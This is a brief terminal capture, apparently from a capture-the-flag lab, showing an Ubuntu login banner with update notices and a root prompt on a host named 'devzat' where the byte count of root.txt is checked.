  IPv4 address for eth0:    10.129.136.180
  IPv6 address for eth0:    dead:beef::250:56ff:feb9:5986


107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan 26 16:26:44 2022
root@devzat:~# wc -c root.txt
33 root.txt